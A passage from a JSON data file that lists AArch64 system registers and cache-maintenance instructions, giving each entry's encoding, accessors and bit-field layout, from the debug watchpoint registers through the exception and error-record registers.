4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "DBGWCR4_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "DBGWCR5_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "DBGWCR6_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "DBGWCR7_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "DBGWCR8_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "DBGWCR9_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "DBGWCR10_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "DBGWCR11_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "DBGWCR12_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "DBGWCR13_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "DBGWCR14_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "DBGWCR15_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGWVR0_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 1, "name": "DBGWVR1_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 2, "name": "DBGWVR2_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 3, "name": "DBGWVR3_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 4, "name": "DBGWVR4_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 5, "name": "DBGWVR5_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 6, "name": "DBGWVR6_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 7, "name": "DBGWVR7_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 8, "name": "DBGWVR8_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 9, "name": "DBGWVR9_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 10, "name": "DBGWVR10_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 11, "name": "DBGWVR11_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 12, "name": "DBGWVR12_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 13, "name": "DBGWVR13_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 14, "name": "DBGWVR14_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 15, "name": "DBGWVR15_EL1", "fullname": "Debug Watchpoint Value Registers", "enc": [2, 0, 0, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}], "width": 64}, {"index": 0, "name": "CGDSW", "fullname": "Clean of Data and Allocation Tags by Set/Way", "enc": [1, 0, 7, 10, 6], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CGDVAC", "fullname": "Clean of Data and Allocation Tags by VA to PoC", "enc": [1, 3, 7, 10, 5], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CGDVADP", "fullname": "Clean of Data and Allocation Tags by VA to PoDP", "enc": [1, 3, 7, 13, 5], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CGDVAP", "fullname": "Clean of Data and Allocation Tags by VA to PoP", "enc": [1, 3, 7, 12, 5], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CGSW", "fullname": "Clean of Allocation Tags by Set/Way", "enc": [1, 0, 7, 10, 4], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CGVAC", "fullname": "Clean of Allocation Tags by VA to PoC", "enc": [1, 3, 7, 10, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CGVADP", "fullname": "Clean of Allocation Tags by VA to PoDP", "enc": [1, 3, 7, 13, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CGVAP", "fullname": "Clean of Allocation Tags by VA to PoP", "enc": [1, 3, 7, 12, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CIGDSW", "fullname": "Clean and Invalidate of Data and Allocation Tags by Set/Way", "enc": [1, 0, 7, 14, 6], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CIGDVAC", "fullname": "Clean and Invalidate of Data and Allocation Tags by VA to PoC", "enc": [1, 3, 7, 14, 5], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CIGSW", "fullname": "Clean and Invalidate of Allocation Tags by Set/Way", "enc": [1, 0, 7, 14, 4], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CIGVAC", "fullname": "Clean and Invalidate of Allocation Tags by VA to PoC", "enc": [1, 3, 7, 14, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CISW", "fullname": "Data or unified Cache line Clean and Invalidate by Set/Way", "enc": [1, 0, 7, 14, 2], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CIVAC", "fullname": "Data or unified Cache line Clean and Invalidate by VA to PoC", "enc": [1, 3, 7, 14, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CSW", "fullname": "Data or unified Cache line Clean by Set/Way", "enc": [1, 0, 7, 10, 2], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "CVAC", "fullname": "Data or unified Cache line Clean by VA to PoC", "enc": [1, 3, 7, 10, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CVADP", "fullname": "Data or unified Cache line Clean by VA to PoDP", "enc": [1, 3, 7, 13, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CVAP", "fullname": "Data or unified Cache line Clean by VA to PoP", "enc": [1, 3, 7, 12, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "CVAU", "fullname": "Data or unified Cache line Clean by VA to PoU", "enc": [1, 3, 7, 11, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "GVA", "fullname": "Data Cache set Allocation Tag by VA", "enc": [1, 3, 7, 4, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "GZVA", "fullname": "Data Cache set Allocation Tags and Zero by VA", "enc": [1, 3, 7, 4, 4], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "IGDSW", "fullname": "Invalidate of Data and Allocation Tags by Set/Way", "enc": [1, 0, 7, 6, 6], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "IGDVAC", "fullname": "Invalidate of Data and Allocation Tags by VA to PoC", "enc": [1, 0, 7, 6, 5], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "IGSW", "fullname": "Invalidate of Allocation Tags by Set/Way", "enc": [1, 0, 7, 6, 4], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "IGVAC", "fullname": "Invalidate of Allocation Tags by VA to PoC", "enc": [1, 0, 7, 6, 3], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ISW", "fullname": "Data or unified Cache line Invalidate by Set/Way", "enc": [1, 0, 7, 6, 2], "accessors": ["DC"], "fieldsets": [{"fields": [{"name": "SetWay", "msb": 31, "lsb": 4}, {"name": "Level", "msb": 3, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "IVAC", "fullname": "Data or unified Cache line Invalidate by VA to PoC", "enc": [1, 0, 7, 6, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DCZID_EL0", "fullname": "Data Cache Zero ID register", "enc": [3, 3, 0, 0, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "DZP", "msb": 4, "lsb": 4}, {"name": "BS", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ZVA", "fullname": "Data Cache Zero by VA", "enc": [1, 3, 7, 4, 1], "accessors": ["DC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DISR_EL1", "fullname": "Deferred Interrupt Status Register", "enc": [3, 0, 12, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "IDS", "msb": 24, "lsb": 24}, {"name": "AET", "msb": 12, "lsb": 10}, {"name": "EA", "msb": 9, "lsb": 9}, {"name": "DFSC", "msb": 5, "lsb": 0}]}, {"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "IDS", "msb": 24, "lsb": 24}, {"name": "ISS", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DIT", "fullname": "Data Independent Timing", "enc": [3, 3, 4, 2, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DIT", "msb": 24, "lsb": 24}]}], "width": 64}, {"index": 0, "name": "DLR_EL0", "fullname": "Debug Link Register", "enc": [3, 3, 4, 5, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DSPSR_EL0", "fullname": "Debug Saved Program Status Register", "enc": [3, 3, 4, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exiting Debug state to AArch32 state", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "entering or exiting Debug state from or to AArch64 state", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RCTX", "fullname": "Data Value Prediction Restriction by Context", "enc": [1, 3, 7, 3, 5], "accessors": ["DVP"], "fieldsets": [{"fields": [{"name": "GVMID", "msb": 48, "lsb": 48}, {"name": "VMID", "msb": 47, "lsb": 32}, {"name": "NS", "msb": 26, "lsb": 26}, {"name": "EL", "msb": 25, "lsb": 24}, {"name": "GASID", "msb": 16, "lsb": 16}, {"name": "ASID", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ELR_EL1", "fullname": "Exception Link Register (EL1)", "enc": [3, 0, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ELR_EL12", "fullname": "Exception Link Register (EL1)", "enc": [3, 5, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ELR_EL2", "fullname": "Exception Link Register (EL1)", "enc": [3, 4, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ELR_EL1", "fullname": "Exception Link Register (EL2)", "enc": [3, 0, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ELR_EL2", "fullname": "Exception Link Register (EL2)", "enc": [3, 4, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ELR_EL3", "fullname": "Exception Link Register (EL3)", "enc": [3, 6, 4, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ERRIDR_EL1", "fullname": "Error Record ID Register", "enc": [3, 0, 5, 3, 0], "accessors": ["MRS"], "fieldsets": [{"instance": "ERRIDR_EL1", "fields": [{"name": "NUM", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ERRSELR_EL1", "fullname": "Error Record Select Register", "enc": [3, 0, 5, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERRSELR_EL1", "fields": [{"name": "SEL", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ERXADDR_EL1", "fullname": "Selected Error Record Address Register", "enc": [3, 0, 5, 4, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXADDR_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXCTLR_EL1", "fullname": "Selected Error Record Control Register", "enc": [3, 0, 5, 4, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXCTLR_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXFR_EL1", "fullname": "Selected Error Record Feature Register", "enc": [3, 0, 5, 4, 0], "accessors": ["MRS"], "fieldsets": [{"instance": "ERXFR_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXMISC0_EL1", "fullname": "Selected Error Record Miscellaneous Register 0", "enc": [3, 0, 5, 5, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXMISC0_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXMISC1_EL1", "fullname": "Selected Error Record Miscellaneous Register 1", "enc": [3, 0, 5, 5, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXMISC1_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXMISC2_EL1", "fullname": "Selected Error Record Miscellaneous Register 2", "enc": [3, 0, 5, 5, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXMISC2_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXMISC3_EL1", "fullname": "Selected Error Record Miscellaneous Register 3", "enc": [3, 0, 5, 5, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXMISC3_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXPFGCDN_EL1", "fullname": "Selected Pseudo-fault Generation Countdown register", "enc": [3, 0, 5, 4, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXPFGCDN_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXPFGCTL_EL1", "fullname": "Selected Pseudo-fault Generation Control register", "enc": [3, 0, 5, 4, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXPFGCTL_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXPFGF_EL1", "fullname": "Selected Pseudo-fault Generation Feature register", "enc": [3, 0, 5, 4, 4], "accessors": ["MRS"], "fieldsets": [{"instance": "ERXPFGF_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ERXSTATUS_EL1", "fullname": "Selected Error Record Primary Status Register", "enc": [3, 0, 5, 4, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "ERXSTATUS_EL1", "fields": []}], "width": 64}, {"index": 0, "name": "ESR_EL1", "fullname": "Exception Syndrome Register (EL1)", "enc": [3, 0, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": 